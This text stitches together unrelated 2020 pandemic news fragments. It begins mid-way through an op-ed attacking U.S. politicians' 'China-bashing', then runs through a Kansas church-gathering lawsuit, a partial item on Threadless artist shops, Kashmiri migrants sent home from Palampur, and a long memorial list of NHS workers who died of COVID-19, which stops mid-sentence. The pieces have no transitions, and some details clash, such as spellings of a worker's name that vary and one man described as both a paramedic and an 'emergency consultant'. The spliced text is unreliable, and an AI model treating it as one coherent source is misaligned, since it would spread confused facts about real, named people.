ruling party are following the memo guidelines. Their illogical rhetoric can only be explained by the intention of concealing irresponsibility and incompetence of the U.S. administration that has failed to address public questions on the economy, health care and jobs, and has put reelection at a much higher place than saving lives of the people. The international community has been hoping for a due role of the United States in confronting the pandemic and the American people have been expecting a clear government plan for mitigating the growing domestic economic pains. The White House politicians are advised to respect the facts, abandon the outdated Cold War mentality, and show political resolve and wisdom of protecting the people's rights to life and health. The China-bashing tactic, as used in the campaign mode, might please some anti-China advocates and help win their votes. Still, it is a dangerously short-sighted response to a global crisis that calls for cooperation between the two largest economies of the world. If these politicians still hold the belief that containing China helps them contain the virus, they will only sink to political cowards and leave their names as historical jokes. Kansas governor, 2 churches reach deal on allowing in-person worship Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Kansas has reached an agreement with two churches to extend a temporary restraining order that allows them to hold in-person worship services of more than 10 people despite a statewide stay-at-home order. Governor Laura Kelly agreed with First Baptist Church of Dodge City and Calvary Baptist Church of Junction City to extend the order exempting them from the ban from May 2 to May 16. In an agreed motion filed Saturday and pending official approval from a judge, the two parties allowed the extension due to the possibility that the governor will extend her overall executive order restricting in-person gatherings past the planned May 3 expiration date. A one-time 14-day extension of the TRO would allow parties adequate time, if needed, to conduct limited discovery and briefing in the event the Plaintiffs believe new restrictions present in a new Executive Order are not constitutionally sound, says the agreed motion. Kelly explained in a statement that she still was convinced that her executive order against all mass gatherings would eventually be vindicated. While I am confident that we have the law on our side, the agreement with these two churches will allow us to move forward and focus our efforts on mitigating the spread of the disease and working to restart the economy, she stated, according to AP. The Alliance Defending Freedom, a conservative law firm representing the two churches, approved of the agreement but took issue with Kellys interpretation of the events. The governor claims that she and her administration are confident that we have the law on our side, but if this were true, the governor would not be consenting to an agreed motion, stated ADF Senior Counsel Ryan Tucker. We reserve the right to continue litigating this matter if Gov. Kelly does not follow through with appropriately amending her mass gathering ban. This is a victory for the churches whose First Amendment freedoms the governor has repeatedly disrespected throughout this ongoing litigation. Days before Easter Sunday, Kelly issued an executive order expanding an earlier ban on gatherings of over 10 people so that it included religious services. In a statement defending the measure, Kelly explained that it was a difficult decision to reach, but considered it necessary to curb the spread of coronavirus. As Holy Week gets underway and with Kansas rapidly approaching its projected peak infection rate in the coming weeks the risk for a spike in COVID-19 cases through church gatherings is especially dangerous, said Kelly. Ive said repeatedly during this crisis that we will adjust to circumstances as they develop to make sure we do everything we can to protect Kansans. The churches filed suit in response, with United States District Court Judge John W. Broomes of the District of Kansas granting them temporary relief from the order. while these executive orders begin with a broad prohibition against mass gatherings, they proceed to carve out broad exemptions for a host of secular activities, many of which bear similarities to the sort of personal contact that will occur during in-person religious services, concluded Broomes. Plaintiffs have made a substantial showing that development of the current restriction on religious activities shows religious activities were specifically targeted for more onerous restrictions than comparable secular activities. Under the plan, artists can earn up to 60% more on sales from their wares through May 31, and elect to give their designated proceeds to MedShare or other charities. Schmidt said the online store is also encouraging small businesses impacted by the pandemic to launch their own Artist Shops. They are encouraged to email their logo to start@threadless.com so the Threadless team can help them set up their own online store. Schmidt said this avenue can help small businesses offset loss of revenue. About 400 Kashmir migrants who were stranded in Palampur and nearby areas of Kangra district were sent home on Tuesday. The arrangements were made by Palampur administration said Dharmesh Ramotra, sub-divisional magistrate of Palampur, adding that 14 buses had been arranged to ferry the Kashmiri migrants back home. Most of the labourers were stranded in Palampur sub-division and some in Baijnath and Jaisinghpur areas, said Ramotra adding migrants included labourers, woodcutters and shawl sellers. They will be dropped to Samba town from where J&K administration will make further arrangements for their travel. The migrants were provided medical fitness certificates by local authorities and the buses in which they were sent were also sanitised. ENSURING SUPPLY OF VEGGIES, FRUITS The director of Himachal Pradesh Agriculture Marketing Board, Kangra, Sanjay Upadhyay said they were ensuring that there is no dearth of vegetables and fruits in the district. I along with Raj Kumar Bhardwaj, secretary of Kangra Agriculture Produce Marketing Committee (APMC), are visiting market yards across the district from time to time to ensure proper supply, said Upadhyay, where he said they were also making sure that social distancing norms are followed strictly in these yards. He said it was also ensured that people get essential goods for a genuine price. We have conducted surprise inspection at market yards to check prices, he said. More than 90 frontline NHS workers are confirmed to have died during the coronavirus pandemic. Although Foreign Secretary Dominic Raab told the BBC's Andrew Marr Show on Sunday that 78 NHS workers had died, this is only a partial picture. Tributes from local NHS trusts and loved ones have confirmed the deaths of 94 people working for the NHS since March 25. This list is of people who were working in roles shortly before their deaths where they were likely to come into contact with patients. Other deaths are yet to be confirmed. These are among the NHS workers who have died during the coronavirus pandemic. (Top row left to right) nurse Rebecca Mack, nurse Alice Kit Tak Ong, nurse Thomas Harvey, Dr Habib Zaidi, consultant Amged El-Hawrani, agency nurse Josiane Zauma Ebonja Ekoli, matron Sara Dee Trollope, nurse Mary Agyeiwaa Agyapong. (2nd row left to right) consultant geriatrician Anton Sebastianpillai, Doctor Abdul Mabud Chowdhury, surgeon Jitendra Rathod, Dr Fayez Ayache,patient discharge planner Barbara Moore, theatre assistant Andy Treble, mental health nurse Gladys Mujajati, paramedic Gerallt Davies. (3rd row left to right) healthcare worker Donna Campbell, Welsh NHS worker Gareth Roberts, plaster technician Kevin Smith, nurse Leilani Dayrit, pharmacist Pooja Sharma, Dr Krishan Arora, consultant Dr Peter Tun, NHS office worker Liz Shale. (4th row left to right) Porter Brian Darlington, nursing assistant Ruben Munoz, occupational therapist Vivek Sharma, domestic supervisor Joanna Klenczon, healthcare assistant Margaret Tapley, radiology support worker Amrik Bamotra, dental nurse Linnette Cruz, A&E consultant Manjeet Riyat, orthopaedic surgeon Sadeq Elhowsh, care assistant Sharon Bamford. (5th row left to right) consultant geriatrician Dr Medhat Atalla, paramedic Ian Reynolds, nurse Angie Cunningham, consultant neonatologist Dr Vishna Rasiah, Dr Yusuf Patel, Nurse Katy Davis, Dr Kamlesh Kumar Masson, ward manager Andy Costa, ambulance worker Charlie Goodwin and hospital cleaner Eileen Landers These are the names of the health service workers known to have died, listed chronologically. - Dr Vishna Rasiah, consultant neonatologist Dr Vishna Rasiah, who worked as a 'clinical lead' at Birmingham Women's and Children's NHS Foundation Trust, died after contracting coronavirus, the trust announced on April 24. His wife Liza said: 'We're devastated at losing our beloved Vish. He was such a loving husband and father to our beautiful daughter Katelyn, and much loved son and brother to our family in Malaysia and Trinidad. His whole family meant the world to him, and he absolutely doted on Katelyn. Vish loved his work; to him it was so much more than a job and his colleagues are part of our family too. He treated every patient and family he cared for as his own. I couldn't have been prouder of him.' - Mahadaye Jagroop, nurse Also known as Mary, Ms Jagroop worked at Heartlands Hospital in Birmingham, where she died after contracting Covid-19 on April 22. 'Mary was a respected and loved member of our team and touched the lives of many in her distinguished career as a nurse,' said Lisa Stalley-Green, chief nurse at University Hospitals Birmingham NHS Foundation Trust. - Katy Davis, nurse The University of Southampton confirmed the death of Katy Davis, who worked in child health as a nurse. The 38-year-old had underlying health conditions and died on April 21 at Southampton General Hospital after testing positive for the virus. Paula Head, chief executive at UHS, said: 'Katy has been described by her colleagues as a nurse people would aspire to be like, and that nursing was more than just a job to her.' - Melonie Mitchell, 111 worker Ms Mitchell's death was confirmed by the London Ambulance Service, where she worked. Chief executive Garrett Emmerson said: 'It is with great sadness I confirm the death of Melonie Mitchell, a member of our NHS 111 team. Our condolences are with her family at this sad time. Melonie will be greatly missed by her friends and colleagues across the service.' - Medhat Atalla, consultant Dr Atalla died following treatment for coronavirus at Doncaster Royal Infirmary (DRI), where he worked as a consultant geriatrician, the hospital said. He moved to Britain from Egypt about 20 years ago and his colleagues said he cared for elderly people on three continents, including across the north of England. In a statement, Doncaster and Bassetlaw Teaching Hospitals medical director Tim Noble, and chief executive Richard Parker, said: 'A hugely popular and respected colleague, Dr Atalla was a very special human being who practised medicine across three continents throughout his career, affecting the lives of so many in such a positive way. He was a truly gentle gentleman and he will be hugely missed by us all.' They shared their deepest sympathies with Dr Atalla's loved ones in Egypt. - Angie Cunningham, nurse Angie Cunningham provided 'amazing care' as a nurse for 30 years before she died at Borders General Hospital, where she worked, on April 22. In a joint statement with NHS Borders Trust chief executive Ralph Roberts, Ms Cunningham's family said: 'Angie was a much-loved wife, mother, sister, granny and great granny, as well as a friend to many more. Angie worked in NHS Borders for over 30 years and during this time was a much-respected and valued colleague within the hospital, providing amazing care to patients.' - Ian Reynolds, paramedic Ian Reynolds, 53, had worked as a paramedic for more than 30 years, and for the last eight had been working as a member of the Selhurst Park pitch-side medical team. Crystal Palace Football Club paid tribute to him and said he was a 'much-loved colleague' and friend. Colleague Dr Amir Pakravan said: 'As a person, he was the best friend you could wish for, always smiling, calm and easy-going and an avid Palace fan. As a colleague, he was extremely professional, reliable, approachable, highly experienced and knowledgeable, and always ready to help. He was the complete package and an absolute joy to work with.' He is survived by his wife and two sons, one of whom, Jack, also works as a member of the Crystal Palace stretcher crew at the club. - Ann Shepherd, counsellor Ann Shepherd, who had worked at the Moir Medical Centre in Long Eaton, Derbyshire, for 26 years, died in hospital earlier this week, the Derbyshire Healthcare NHS Foundation Trust has said. The 80-year-old, from Leicester, had underlying health conditions before contracting coronavirus. Paying tribute to Ms Shepherd, trust chief executive Ifti Majid said: 'Ann was a wonderful colleague, held in very high esteem by all she worked with. She was truly devoted to her work and her patients and was inspirational in her field. She was also a phenomenal character, full of colour and sparkle.' - Sharon Bamford, care assistant Sharon Bamford was described as a 'warm' and 'caring' healthcare assistant who worked on the haematology/oncology ward at Singleton Hospital in Swansea. Her death on April 21 follows that of her husband Malcolm, who also died after contracting Covid-19. Their son, Christian, was admitted to hospital with the virus but has since been discharged. Mrs Bamford had worked at the hospital for a number of years, working on the haematology/oncology ward since 2005. Jan Worthing, director of Singleton Hospital, said: 'Sharon was highly thought of by all the patients who have used the services and loved by her colleagues and friends within the team. Sharon's sad death will leave a massive void within the team and within the Singleton family.' - Charlie Goodwin, ambulance worker The 61-year-old was described as 'an enormously respected member' of the first4care ambulance service in Nottinghamshire. Mr Goodwin had been an ambulance worker for two decades, and his wife Julie said he 'wanted to help out and do his bit'. He was taken to King's Mill Hospital and tested positive for Covid-19. He spent 11 days in intensive care before he died on April 20. - Dr Yusuf Patel, GP and surgery founder Father-of-three Dr Yusuf Patel, 61, founded Woodgrange Medical Practice in Newham, east London, where he worked as GP for over two decades before he died with coronavirus symptoms on April 20. Dr Patel's colleagues there have remembered him as a 'simple, humble and honest man' who was 'the life and soul of any party.' He leaves behind his wife, Nasim, and his children Rumaysa, Maariya and Ahmed, who are all pursuing medical careers, according to Woodgrange Medical Practice. - Grant Maganga, mental health nurse Grant Maganga died on April 20 at Tameside Hospital after 11 years of nursing, most recently at Hurst Place in Ashton-under-Lyne, Manchester, a rehabilitation unit for men with severe mental illness and complex needs. 'Grant was an exceptional nurse who cared deeply for his patients and lit up the room with his infectious smile and positive personality,' said Clare Parker, director of nursing at Pennine Care NHS Foundation Trust, which runs Mr Maganga's unit. 'Grant worked in a mental health rehabilitation unit and this is a stark reminder that all nurses are on the front line, no matter where they work. His death is another tremendous loss to our nursing community. We will never forget him.' - Kirsty Jones, healthcare support worker The mother-of-two died on Monday after working for 24 years with NHS Lanarkshire, where she was described as a 'selfless and bright' employee. Her husband, Nigel, said: 'Kirsty devoted her life to caring for others. She was a wonderful wife, mother, daughter, sister, friend and nurse. 'Kirsty was larger than life itself and was a constant source of happiness for all who were around her... A void has opened in our hearts that will never be filled.' - Sadeq Elhowsh, orthopaedic surgeon The 58-year-old father of four worked for St Helens and Knowsley Teaching Hospitals NHS Trust in Merseyside for 17 years. His family said he was 'a wonderful husband, as well as a devoted father' and someone who 'loved his work and was dedicated to supporting his patients and his colleagues'. Colleague Ravi Gudena said: 'Nothing was ever too much trouble for Sadeq, he was always there to help anyone and was happy to do whatever was needed to help his colleagues and patients.' - Sophie Fagan, carer support specialist Described as an 'extraordinary woman' who 'refused to retire', Sophie Fagan, 78, was well known at Homerton University Hospital and across Hackney. Paying tribute to her, Homerton chief executive Tracey Fletcher said: 'She refused to fully retire and, although she did reduce her hours, she was often to be found meeting relatives and supporting staff in the hospital when she wasn't due to be. Sophie wanted to make a difference and caring for the elderly was her passion. 'Her taste for the brightest and most colourful jumpers, her elegance and her ability to talk to everyone and anyone made her stand out in the hospital corridors. She was a passionate advocate for the patient and their relatives, exercising influence throughout the discharge process, including advocating for patients' ongoing care needs to the extent that she often pushed at the boundaries in these discussions on behalf of the patient. In her most recent role, Sophie set up the Carers Support Network and continued to be actively involved in this. She will be sadly missed by the healthcare community in Homerton and across Hackney.' She first qualified as a nurse in 1966, before working as a community nurse and across the hospital sites for the next 54 years. - Craig Wakeham, GP Dr Wakeham had been working as a GP for 30 years, and a message on the Cerne Abbas Surgery website said: 'He was also a leading light in both the Clinical Commissioning Group and Local Medical Committee, as well as a devoted husband and father to his two boys. His legacy lives on in our patients who he cared for diligently, and in the good name he built for our surgery.' He had spent several days in hospital after contracting the virus. - Ate Wilma Banaag, nurse Ate Wilma Banaag had worked at Watford General Hospital for almost two decades, since she arrived in the UK in January 2001. A fundraiser, set up in her memory, said: 'She is a much-valued staff nurse on the ward, a very caring, compassionate, soft-spoken and hard-working nurse. So hard-working that up to her last working days, she is still working in a Covid-19 ward where she, unfortunately, got infected of this deadly virus. She is a devoted mother of three and a loving wife.' - Ade Dickson, mental health nurse Mr Dickson had been working in the Barnet Crisis Resolution and Home Treatment Team at the time of his death. The Barnet, Enfield and Haringey Mental Health Trust, which announced his death, said: 'Ade was a highly respected colleague who will be deeply missed by his family, friends, Trust staff and patients.' - Gerallt Davies, emergency consultant On April 20, the 51-year-old, from Swansea, became the first paramedic in Wales to die after contacting coronavirus. He had worked for the Welsh Ambulance Service for 26 years. - Manjeet Singh Riyat, emergency consultant Mr Riyat, the first Sikh to work as an A&E consultant in the UK, died on April 20. He was known by his colleagues at the Royal Derby Hospital as the 'father of the emergency department'. - Joanne Klenczon, domestic supervisor A 34-year-old domestic supervisor from Northampton General Hospital (NGH), Ms Klenzon's death was announced by the trust on April 20. Dr Sonia Swart, chief executive at the trust, said: 'Joanna Klenczon touched the lives of so many people at NGH and she will be missed by everyone who knew or worked with her. We are offering our support to our staff during this difficult time whilst we all mourn the loss of one of our team members. We would ask that the privacy of Joanna's family, friends and colleagues is respected at this time.' - Chrissie Emerson, healthcare assistant Ms Emerson was working at the Queen Elizabeth Hospital in King's Lynn in Norfolk when she died after testing positive for Covid-19. In a joint statement issued on April 20, Queen Elizabeth Hospital chief executive Caroline Shaw and chairman Professor Steve Barnett said: 'The whole family at QEH is deeply saddened at losing Chrissie Emerson, who was such a valued colleague, and much-loved wife to Michael and cherished mother and grandmother. 'We have been in touch with Chrissie's family to extend our condolences on behalf of everyone at QEH and to offer appropriate support. We have informed our staff about this upsetting news and offered support to those who knew and worked closely with Chrissie. We have a range of support and counselling services available to our staff to support them during this incredibly difficult time during which we continue to focus on delivering safe care to our patients and maximising support for our staff who are working in conditions that are difficult and challenging for everyone.' - Grace Kungwengwe, healthcare worker The frontline worker is described as a 'dedicated NHS worker, who loved her job and was actively working until she tested positive (for) Covid-19' on a fundraising page set up in her memory. It said: 'She was loved by many and her dedication and care for others was second to none.' She leaves behind two sons and grandchildren. - Josephine Matseke (Manini), nurse Josephine Masteke (Manini), also known as Josephine Peter, died on April 18 at Southport and Formby District General Hospital after testing positive for Covid-19. She had been working at Southport on an agency contract since February and had been a nurse for 20 years. She was married with two children. Southport and Ormskirk Hospital NHS Trust chief executive Trish Armstrong-Child said: 'Josephine's husband, Thabo, told me she was passionate, hard-working, always putting others before herself. She was 'my heroine', he said. 'Our thoughts are with Josephine's family at this difficult time and we offer them our sincere condolences.' James Lock, chief executive of Altrix, the nursing agency that employed Ms Matseke, said: 'Josephine was a diligent nurse who was highly regarded and liked by the team. She would always go that extra mile and was a pleasure to work with. My team and I send our very best wishes and deepest condolences to Josephine's family.' - Rajesh Kalraiya, community paediatrician, and Mamoona Rana, trainee registrar in psychiatry The North East London Foundation Trust (NELFT) confirmed the deaths of Drs Kalraiya and Rana, describing them as two 'highly valued and respected colleagues'. Dr Kalraiya was 68 and was working as a locum in Romford. Dr Rana was 49. Both died last week. Local media in India reported that Dr Kalraiya had died after contracting Covid-19 but the NELFT was unable to confirm if either had tested positive for the virus. NELFT chief executive Professor Oliver Shanley said: 'We have shared our deepest condolences with their families and are giving them all the support possible. They were very highly-regarded, enormously valued, professional and committed doctors who will be hugely missed by their colleagues. As well as their families, with whom we are working closely, I would like to offer my deepest condolences to their friends and work colleagues. We are ensuring they are supported through this difficult time and I would like to thank colleagues for the commitment, dedication and compassion they have shown.' - Margaret Tapley, healthcare assistant The auxiliary nurse was still working night shifts when she died on April 19, at the age of 84. Her grandson, Tom Wood, paid tribute to her and said she had inspired him to become a nurse himself. He said: 'This phenomenal, committed, kind-hearted fighter was my grandmother and I am so hugely proud of her. She was my inspiration and a huge reason as to why I am a nurse today. She took huge pride in her work but was so humble. She embodied the nursing spirit. For anyone who worked with her or knew her, that spirit that we all saw and felt lives on in us. Grandma may have been called home in what feels all too early for us left behind but the values, spirit and giving nature that she brought to the world is carried on in us that we're touched by her life.' - Patrick McManus, nurse Mr McManus had worked as a nurse in Staffordshire for more than 40 years. The 60-year-old was described as 'an exceptional leader' and a 'lovable character' and had worked at Staffordshire Royal Infirmary and the County Hospital in Stafford. Paying tribute to Mr McManus, University Hospitals of North Midlands NHS Trust chief executive Tracy Bullock said: 'We are deeply saddened to confirm that a member of staff has passed away due to Covid-19. He was a lovable character and brought kindness and compassion to all his patients which was acknowledged by the number of compliments and thank you messages he received. He was an exceptional leader and took staff and students under his wing. His big Irish personality will be sorely missed by his friends and colleagues at UHNM. Our deepest sympathies are with his family at this very sad time and we thank him for his many years of invaluable service to the trust, to his colleagues and to the patients and families he served.' - Unnamed paramedic for North West Ambulance Service The paramedic was married with children and had worked for the trust for a considerable number of years. Chief executive Daren Mochrie said the death will 'deeply affect many people within the trust'. - Jenelyn Carter, healthcare assistant Ms Carter worked on the admissions ward at Morriston Hospital and was well-loved by all her colleagues and patients, Swansea Bay University Health Board said. Mark Madams, Morriston Hospital's nurse director, said: 'Jenelyn would go the extra mile for anyone, and was a lovely, caring person inside and out, with a heart of gold.' - Michael Allieu, staff nurse Homerton University Hospital NHS Trust confirmed that staff nurse Michael Allieu died on April 18 at Homerton Hospital. Homerton chief executive Tracey Fletcher said: 'Michael was a vibrant, larger-than-life character on our acute care unit, and was well-known and very well-liked throughout the hospital.' - Khulisani (Khuli) Nkala, mental health nurse Mr Nkala, 46, was a 'well-respected and selfless professional nurse, who always put the patient first'. He had been working as a charge nurse in the forensic services at Leeds and York Partnership NHS Foundation Trust before he died on April 17, after testing positive for Covid-19. Dr Sara Munro, chief executive of Leeds and York Partnership NHS Foundation Trust, said: 'Khuli was someone who took his responsibilities as a trainer and professional mentor very seriously, taking many student nurses under his wing and taking the time to nurture the next generation of talent. He won an award from the University of Leeds for his mentoring work for which he should have been very proud.' Colleagues described him as a 'gentleman' and an 'incredible nurse'. One said: 'I hope that one day I'll be as good a nurse as you and I'll aim high and dream big just like you always taught me to.' - Vivek Sharma, occupational therapist The 58-year-old father-of-two died on April 17. Described as a gentle soul who was kind and generous, he had been isolating from around the end of March as a vulnerable member of staff due to underlying health conditions, and became ill with coronavirus. Kent-based Medway Community Healthcare said he was a 'valued member of MCH staff' and someone who was 'passionate about being a voice and advocate for staff and always happy to help'. - Linda Clarke, community midwife Wigan Today reported the death of Linda Clarke, a 66-year-old community midwife at Royal Albert Edward Infirmary. According to the news outlet, Silas Nicholls, chief executive at Wrightington, Wigan and Leigh NHS Foundation Trust, said she died on April 17. 'Linda was 66 and worked in our maternity service for 30 years, bringing many new lives into our borough and caring for expectant mums in our community,' the chief executive is reported to have said. - Ruben Munoz, nursing assistant Ruben Munoz, a father of two and nursing assistant at Surrey and Sussex NHS Trust for a decade, died on April 17. His family said: 'Ruben is a good son, a beloved husband and an amazing father to his two children. He was so proud of his NHS and Woodland Ward family.' - Kamlesh Kumar Masson, doctor Dr Masson, who died on April 16 aged 78, had worked in the NHS for 47 years. He founded the Milton Road Surgery in Grays, Essex, in 1985 and worked there until 2017, when he moved on to locum work. His family described him as someone who 'would have wanted to practise medicine for many more years to come'. - Esther Akinsanya, nurse The nurse and grandmother was working on the front line at Queen Elizabeth Hospital in London before her death on the evening of April 15, the Lewisham and Greenwich NHS Trust confirmed. On a GoFundMe page set up in her memory, Ms Akinsanya's son Samuel described her as 'an altruistic person who put us and everyone around her first in all circumstances'. Ms Akinsanya had been a nurse for the NHS for over 20 years along with her older sister, Mary Idowu, who has also been fighting Covid-19 and been in a coma in recent weeks. - Barry England, leading operations manager The East of England Ambulance Service NHS Trust confirmed Mr England died on April 16, having spent four days in hospital. He was working in Hemel Hempstead and had tested positive for the virus. A statement issued on behalf of his family said their hearts are broken at his sudden loss and that Mr England was extremely proud to have worked for the ambulance service for more than 33 years. The family thanked all the NHS staff who cared for Mr England in hospital and for the support they had received from his former colleagues. - Lourdes Campbell, healthcare assistant Known as 'Des' to her colleagues, the healthcare assistant was remembered as 'diligent and compassionate' by the Bolton NHS Foundation Trust. In a statement on April 16, chief executive of the trust Fiona Noden said Ms Campbell died in the critical care unit at Royal Bolton Hospital after contracting the virus. - Simon Guest, radiographer A radiographer at Furness General Hospital, Mr Guest died on the evening of April 15. His wife Nicky described him as 'special, a true gentleman and a great role model to all'. - Jane Murphy, clinical support worker Aged 73, Ms Murphy worked at Edinburgh Royal Infirmary for almost 30 years, first as a cleaner before being retrained as a clinical support worker. 'Jane would help anybody out, but would tell you if you were wrong,' a friend said. - Dr Krishan Arora, GP Dr Krishan Arora was a senior partner at Violet Lane Medical Practice, and had been a GP in Croydon, south London, for 27 years. He died on April 15 after testing positive for the virus. The 57-year-old had followed national guidance and self-isolated at home when he developed symptoms and was not in work at the time of his death. His death was confirmed by the South West London Clinical Commissioning Group. Colleague Dr Agnelo Fernandes said: 'We are all greatly saddened by the death of Dr Krishan Arora. Krish was extremely well-liked and worked tirelessly to care for his patients and improve services for everyone in Croydon. Our thoughts and deepest sympathies are with Krish's family, friends and close colleagues at this difficult time. We will miss him.' - Gladys Mujajati, also known as Gladys Nyemba, mental health nurse The 46-year-old, who worked to support people in Derby, has been described as 'precious' by science minister Amanda Solloway, and 'much-loved', 'warm' and 'caring' by her colleagues. Ms Mujajati, who had an underlying health condition and had stepped away from work in recent weeks, died in hospital, the Derbyshire Healthcare NHS Foundation Trust said. Ifti Majid, chief executive of Derbyshire Healthcare NHS Foundation Trust, said: 'Gladys was a much-loved member of the Derby City Community Mental Health Team and we are all devastated by her loss. Gladys had a big heart and colleagues have talked about how she always had a smile on her face. She was known to be a warm and caring individual, always looking out for her patients and colleagues, showing true compassion and empathy.' -Amrik Bamotra, radiology support worker Mr Bamotra, known to colleagues as 'Bob', was said to have 'treated everyone like his own family', and leaves behind a wife, daughter and son. The 63-year-old had worked at the King George Hospital in Ilford, east London, for four years, and is suspected to have died from coronavirus. His death was announced on April 15. - Andy Treble, theatre assistant The 57-year-old, a theatre assistant at the Wrexham Maelor Hospital in North Wales, died on April 15 after testing positive for the disease. His sister, Maria Molloy, described her brother - who had worked at the hospital for almost 40 years - as a 'kind man' who dedicated his life to his profession and 'always had a smile on his face'. - Juliet Alder, healthcare assistant The 58-year-old mother had worked at West London NHS Trust since 2016. She died on April 14. Carolyn Regan, trust chief executive, said: 'Juliet was kind, caring and thoughtful. She was known for having a beaming smile, infectious laughter, and taking great pride in looking after others. Juliet dedicated much of her working life to the NHS. Our thoughts and sympathies are with her husband, her daughter as well as all her friends and other colleagues within our Trust'. - Linnette Cruz, dental nurse The 51-year-old senior head nurse at the Brynteg dental practice in Sketty died on April 14 having been admitted with Covid-19 in March, according to NHS Wales. Brynteg practice owner Nik Patel said: 'She brought love, light and joy to everyone around her and will be sadly missed by all.' - Josiane Zauma Ebonja Ekoli, nurse The mother-of-five was an agency nurse who lived in Leeds and worked at Harrogate Hospital. She died on April 13, aged 55. Her daughter said: 'It meant everything to be a nurse, she's been doing it for as long as I remember - more than 30 years.' - Dr Peter Tun, associate specialist The father-of-two worked as an associate specialist in neurorehabilitation at the Royal Berkshire Hospital in Reading for more than 21 years. The 62-year-old, who died in the intensive care unit at the hospital on April 12, was called a 'superhero dad' by his two sons in a tribute. 'To us, he was simply the best human we know and we will miss him every day,' they said. - Mary Agyeiwaa Agyapong, nurse Mary Agyeiwaa Agyapong died on April 12 after testing positive for Covid-19 earlier in the month. David Carter, chief executive at Bedfordshire Hospitals NHS Foundation Trust, said: 'Mary worked here for five years and was a highly valued and loved member of our team, a fantastic nurse and a great example of what we stand for in this trust.' - Cheryl Williams, ward housekeeper North Middlesex University Hospital said Ms Williams would be remembered as a 'much-loved colleague'. Ms Williams, who worked as a housekeeper on an elderly patient ward at the hospital in Edmonton, north London, died on April 12. - Maureen Ellington, healthcare assistant Grandmother Mrs Ellington, who was in her early 60s, worked at Southmead Hospital in Bristol and died on April 12. She had worked for the NHS for more than 25 years at both Frenchay and Southmead hospitals. Her family said: 'She would light up any room she entered. She will always be in our hearts.' - Leilani Medel, nurse Mrs Medel, who worked as an agency nurse in South Wales, was described as a 'wonderful and caring person'. Her employer, Cardiff-based Hoop Recruitment, said: 'The nursing profession has lost a warm-natured and beautiful nurse who cared for so many vulnerable people during her nursing career.' - Amarante Dias, hospital worker Amarante Dias, who worked at the Weston General Hospital in north Somerset, was described as a 'valued and much-loved colleague' who would be 'greatly missed'. - Melujean Ballesteros, nurse The 'dedicated and very caring' Filipino nurse, 60, died at St Mary's Hospital in Paddington, London, on April 12, just two days after being admitted. - Kevin Smith, plaster technician Doncaster Royal Infirmary confirmed the death of plaster technician Kevin Smith on April 12, following a 'brief, but courageous, battle with Covid-19'. He worked at the hospital for more than 35 years and was 'renowned for his warm personality, diligence and compassion', the trust said. - Oscar King Jr, hospital porter Oscar King Jr, a Filipino porter at the John Radcliffe Hospital in Oxford, died on April 11, aged 45. He was said to have worked for the hospital for more than a decade, 'always doing his job with great enthusiasm and joy'. - Elbert Rico, hospital porter A colleague of Oscar King Jr at John Radcliffe, Mr Rico worked as a porter there since moving to the UK from the Philippines in 2004 'and loved the work that he did', according to a fundraising page published by his family. - Gareth Roberts, nurse The death of the 'extremely popular' Mr Roberts, who came out of retirement in 2015 having worked since the 1980s, was confirmed by Cardiff and Vale University Health Board on April 11. - Donna Campbell, healthcare support worker Described by colleagues as 'beautiful and kind-hearted', the healthcare support worker from the Velindre Cancer Centre in Cardiff died at the University Hospital of Wales on April 10. - Sara Dee Trollope, nurse A 51-year-old matron for older adult mental health services in Hillingdon, west London, Mrs Trollope died at Watford General Hospital on April 10 after testing positive for the virus. The mother-of-four was described as 'an example to every one of us' by her daughter. - Brian Darlington, porter Mr Darlington, a porter with Mid Cheshire Hospitals, was known for handing out sweets to his colleagues. He died on April 10, aged 68. His wife of 46 years, Ava, said: 'He was dedicated to the trust, and as a family we are grateful for and appreciative of all of the kind words and messages we have seen and received.' - Julie Omar, nurse The trauma and orthopaedics nurse at Redditch's Alexandra Hospital in Worcestershire died at home while self-isolating with symptoms on April 10. She was 52. - Amor Gatinao, nurse The nurse is reported to have died on the morning of April 10, having worked at St Charles Hospital, west London. - Andy Costa, ward manager Andy Costa was one of the longest-serving members of staff at a mental health centre in London, having worked for 26 years in the NHS, most recently as a ward manager at Highgate Mental Health Centre in north London. The NHS trust paid tribute to his 'diligence and loyalty' after he died on April 9. A spokesman for the trust said: 'Andy was a highly respected, conscientious and long-serving colleague who had worked at Highgate Mental Health Centre since it opened 15 years ago. Andy will be very much missed by us all, especially by his many colleagues and friends in the ward, administration and domestic staff areas at Highgate Mental Health Centre.' - Abdul Gellaledin, ambulance care assistant Colleagues of Mr Gellaledin, who worked for Falck Ambulance UK helping to transport patients to and from Kingston Hospital, held a two-minute silence for him following his death earlier in April. Mark Raisbeck, chief executive officer of Falck Ambulance UK, said: 'Abdul will be greatly missed by his Falck colleagues and patients. Abdul joined Falck as an ambulance care assistant in August 2019, he was a kind, caring and funny man who carried out his role for patients with empathy and professionalism.' - Aimee O'Rourke, nurse The 39-year-old nurse and mother died at the Queen Elizabeth The Queen Mother Hospital in Margate, Kent, where she worked, on April 9. - Dr Abdul Mabud Chowdhury, consultant urologist The 53-year-old wrote a Facebook post asking Prime Minister Boris Johnson to urgently provide every NHS worker with personal protective equipment just five days before he died on the night of April 8. - Dr Edmond Adedeji, doctor The 62-year-old worked as a locum registrar in the emergency department of Great Western Hospital in Swindon, Wiltshire, and died 'doing a job he loved' on April 8. - Fayez Ayache, GP The 76-year-old general practitioner and grandfather died in Ipswich Hospital on April 8, having been diagnosed with bilateral pneumonia and coronavirus. - Elsie Sazuze, care home nurse Mrs Sazuze, who worked for Wolverhampton-based agency Totallycare, died on April 7 at Good Hope Hospital in Sutton Coldfield, according to the BBC, who spoke to her husband, Ken. - Leilani Dayrit, nurse Described as a 'ray of sunshine', Ms Dayrit, a Filipino nurse who worked at St Cross Hospital in Rugby, died on April 7. - Donald Suelto, nurse The 51-year-old, who worked at Hammersmith Hospital in west London, died on April 7 after going into self-isolation with coronavirus symptoms. - Alice Kit Tak Ong, nurse The 70-year-old, originally from Hong Kong, died on April 7 after 44 years of working for the NHS. She was described by her daughter, Melissa, as 'generous to everyone else before herself'. - Janice Graham, nurse The 58-year-old healthcare support worker from NHS Greater Glasgow and Clyde became the first nurse in Scotland to die as a result of the coronavirus pandemic on April 6. - Syed Zishan Haider, GP The 79-year-old family doctor, known as Zishan by colleagues at Barking and Dagenham CCG - where he worked for more than three decades, died in hospital on April 6 after testing positive for coronavirus. The CCG chair Dr Jagan John said: 'Dr Haider was a selfless man who loved his patients, and this is a tragic loss to our GP community.' - Barbara Moore, patient discharge planner Described as an 'unsung hero', the 54-year-old grandmother died on April 6, the 